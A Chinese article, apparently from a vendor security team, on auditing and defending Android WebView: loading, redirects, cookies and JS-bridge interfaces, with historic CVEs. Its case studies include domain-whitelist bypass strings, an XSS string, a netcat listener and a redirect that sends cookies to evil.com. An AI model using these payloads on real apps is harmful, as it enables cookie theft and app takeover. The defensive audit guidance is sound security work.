WebView 作为 Android 中一个特殊的组件，相当于一个缩小版的浏览器，可以为 APP 提供访问网络内容的功能。而正是因为它能够直接与外界交互，一旦出现问题，无论是 WebView 本身还是开发者使用不当，几乎都是远程攻击利用，危害极大。
我们先回顾一下 WebView 历史上出现过比较著名的漏洞。
-
CVE-2012-6336 远程代码执行漏洞
该漏洞是由于 Android 4.1.2 前未对 js 可访问的 java 类做限制，导致 js 可以通过已注册的接口反射调用未注册的 java 类，最终导致 RCE。Google 对这个漏洞的修复方法是增加@JavascriptInterface 注解，js 只能调用带有该注解的类。
-
CNVD-2017-36682
setAllowFileAccessFromFileUrls 允许 WebView 突破同源限制访问文件，当开发者主动设置为true，WebView 可被外部访问且开发者未限制其可访问目录时，攻击者可远程窃取应用任意文件，严重危害可达到 “应用克隆“。
-
CVE-2017-13274
android.net.Uri.parse() 未将 ”” 作为 url path 开始，攻击者可通过 “\@” 使该 api host 解析与浏览器不一致达到绕过域名白名单校验，从而操控 WebView。
可以看到，WebView 发展以来，攻击面也在不断的发展，从系统漏洞，到配置不当，再到现在更多是域名白名单校验，特权接口暴露等问题。
下图为 WebView 的大致执行流程（实际流程复杂得多，这里列出需重点关注的部分），可被分为四大部分，分别是加载、跳转、Cookie 以及接口调用。
2.1 加载
-
流程：一般 WebView 寄托在 Activity 下，加载的 url 来自 Activity 外部，通过 intent extra或 deeplink 传入，调用 WebView.loadUrl 即可加载页面。
-
攻击面：该环节需要注意传入 url 是否可控，容易导致任意页面加载问题。
2.2 跳转
-
流程：当页面发生重定向时，将调用 shouldOverrideUrlLoading 回调，开发者可通过重写该方法实现不同的操作，返回 false 可让页面正常跳转，返回 true 则进行拦截，可进行拉起其他组件、执行 jsbridge 等操作。
-
攻击面：返回 false 时，与 loadUrl 一样，如果跳转的 url 可控，这里一样可以导致任意页面加载问题；返回 true 且拉起组件时，如解析后的 intent 可控，则可导致任意组件拉起问题（LaunchAnywhere）。
2.3 Cookie
-
流程：在加载或页面跳转前，开发者可通过 setCookie 为页面添加 Cookie 参数。
-
攻击面：当指定 Cookie 的 url 可控时，攻击者可窃取 Cookie。
2.4 接口调用
-
流程：加载的页面通过 window 对象获取已注册的 js 接口调用 java 层方法，开发者可直接在接口中 return 返回结果，亦可以主动调用 js 函数回传结果。
-
攻击面：当接口直接暴露时，可被 js 任意调用；使用回调方式返回结果，当结果可控时，可导致任意 js 代码执行。
3.1 入口位置 - loadUrl
-
确定 url 来源，组件是否可以导出，如导出则可以直接利用，不导出组件可寻找跳板或LaunchAnywhere 问题进行利用；
-
加载前 url 是否有进行协议、域名白名单校验。
3.2 setCookie
-
API：CookieManager.setCookie(url, cookies)
-
需关注 url 是否为指定白名单 url，或 url 是否有进行过校验
3.3 跳转 - shouldOverrideUrlLoading
-
返回 false 放行
-与 loadUrl 一样，审计返回前是否有对 url 进行协议、域名校验；
-同样需要关注 setCookie 参数。
-
返回 true 拦截
-是否拉起其他组件，url 解析成 intent 后有无限制；
-有无拦截自定义协议执行其他代码（jsbridge）。
3.4 javascript、java 交互
-
@JavascriptInterface 注解
-接口中是否有白名单域名校验；
-白名单校验 url 来源；
-使用回调方式返回结果时，结果是否可控、是否转义；
-是否有提供暴露的 loadUrl 接口。
-
自定义 jsbridge
-审计拦截协议，以及是否有当前页面的白名单域名校验。
3.5 WebView 设置项
-
setWebContentsDebuggingEnabled：该设置允许 WebView 被调试，开启后可使用浏览器开发者工具对网页进行调试，攻击者可获取加载的所有代码、资源文件，以及 WebView 运行时的流量；
-
setAllowFileAccess：Android 10 及以下默认为 true，开启后可通过 file 协议直接访问应用目录，需审计是否有显式设置为 false；
-
setAllowFileAccessFromFileUrls：Android 4.0.3 及以下默认为 true，允许 js 跨域访问 file 协议；
-
setAllowUniversalAccessFromFileUrls：Android 4.0.3 及以下默认为 true，允许任意域下跨域访问 file 协议。
4.1 案例：url 白名单校验不严谨
-
endsWith 未闭合点号，伪造域名 evilsafe.com 绕过
-
startsWith 未闭合斜杠，伪造域名 https://safe1.comevil.com 绕过
-
contains, indexOf 校验，查询参数绕过 evil.com?x=https://safe2.com
-
未校验协议，使用伪协议执行 js，javascript://safe.com%0a%0dalert(1)，原理是通过 javascript:执行代码，双斜杠补全协议格式、绕过 host 校验，同时在 js 中注释掉后面内容，最后再通过编码换行符绕过注释符，执行 alert(1)
-
使用 android.net.Uri，低版本可用 evil.com\@safe.com 绕过，原理是android.net.Uri.parseUri 未将反斜杠认为 url 路径的开始，所以 host 会解释成 @ 后面内容，但WebView 将反斜杠后面内容作为 url 路径，解析的 host 为 evil.com
4.2 案例：shouldOverrideUrlLoading 域名校验不严谨
该案例假设 loadUrl 前已做严谨域名校验：
当加载前做好域名校验，但跳转拦截时未做校验或校验可被绕过，同样可以利用达到任意页面加载效果，这时需审计所加载的白名单页面，是否有重定向漏洞或 XSS问题，从白名单页面中跳出。
例如：https://safe.com?redirect=https://evil.com
4.3 案例：shouldOverrideUrlLoading 跳转未限制 intent
业务场景：WebView 无法满足业务需求，需要跳转到组件支撑。
-
Intent.parseUri 解析 intent 后直接拉起，intent 任意内容可控，可构造拉起任意自身组件（LaunchAnywhere），如应用本身为 system uid，则可达到系统级的 LaunchAnywhere，同时拉起任意其他应用不可导出组件。
-
利用方式有两种，intent 协议与 android-app 协议：
![Android 远程攻击面——WebView 攻防]( "Android 远程攻击面——WebView 攻防")
4.4 案例：setCookie 未校验 url
setCookie 传入外部 url 且 url 未校验，可直接窃取 cookie
-
恶意主机启动 web 服务或直接监听端口：nc -lvvp 2333
-
发起重定向窃取 cookie：location.href = 'http://evil.com:2333?c='+atob(document.cookie)
4.5 案例：js 接口校验 url 来源不当
假设有如下 js 接口
-
URL 来源 1：创建 js 接口时传入
该情况 url 在开始传入就再没更新，即一直为加载的 url，可通过发起重定向绕过。
-
URL 来源 2：onPageStarted 参数2
这里第二个参数为即将跳转的 url，但未必为当前页面正在运行的 url。
-
URL 来源 3：shouldOverrideUrlLoading 参数2
这里第二个参数为即将跳转的 url，但实际上还没进行跳转
对于 2 和 3，都可采用竞态条件污染 WebActivity.url 进行绕过。
payload 如下：
原理是通过不断发起重定向（未完成重定向前又再次发起），使 url 变成白名单 url，再在这个间隙中调用接口，通过不断调整延时，可成功调用。
4.6 案例：直接或间接暴露 loadUrl 接口
js 接口
url 来源
暴露 loadUrl
当 url 来源正确，但暴露 loadUrl 接口到 js，可通过竞态调用 loadUrl 污染变量。
该漏洞是由于 loadUrl 行为设置 WebView.url 的时机与正常跳转不同，攻击者有更充分的时间去调用接口，即使使用 WebView.getUrl 接口获取 url，亦无法保证 url 为当前页面 url。
payload 如下：
4.7 案例：js 接口异步返回结果未校验
业务场景：自定义 jsbridge、需执行耗时操作异步返回结果。
通过 java 主动调用 js 的方式主动回传结果，如结果数据用户可控，则可构造 XSS 攻击。
payload：用户在间接中填写 "}');alert(1)// ，先闭合 json 格式，再执行代码，最后注释后面内容。
5.1 url 校验
-
防御点 1、2、5 同时都需做好协议与域名校验
① 协议校验：注意不能区分大小写。
② 域名获取：建议使用 java.net.URI 解析 url ，并捕获异常。
③ 域名校验：
-首选 equals("safe.com") 全匹配；
-endsWith 需闭合点号：host.endsWith(".safe.com")。
④ 接口校验 url 来源：使用 WebView.getUrl() 获取。
5.2 Cookie
-
防御点 3 防止 Cookie 泄露
方案一：限制域名；
方案二：提前做好域名校验。
5.3 跳转
-
防御点 4 防止 LaunchAnywhere
方案一：限制显式拉起；
方案二：如无法做到方案一，亦可限制组件白名单拉起；
方案三：如无法列出白名单，亦可判断目标组件是否导出决定是否拉起。
5.4 回调接口
-
防御点 6 防止代码注入
回调前对结果内容进行转义：
-
攻击面：需要关注加载、跳转、Cookie、js 接口，每个环节都会产生不同的攻击面。
-
校验：白名单校验需同时注意协议、域名校验以及低版本情况下 API 的选用，接口校验需注意URL 的来源。
-
防御：纵深防御，每个环节都需独立保障，一个小校验缺失也可能导致整个 WebView 失去防护。
原文始发于微信公众号（vivo千镜）：Android 远程攻击面——WebView 攻防
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论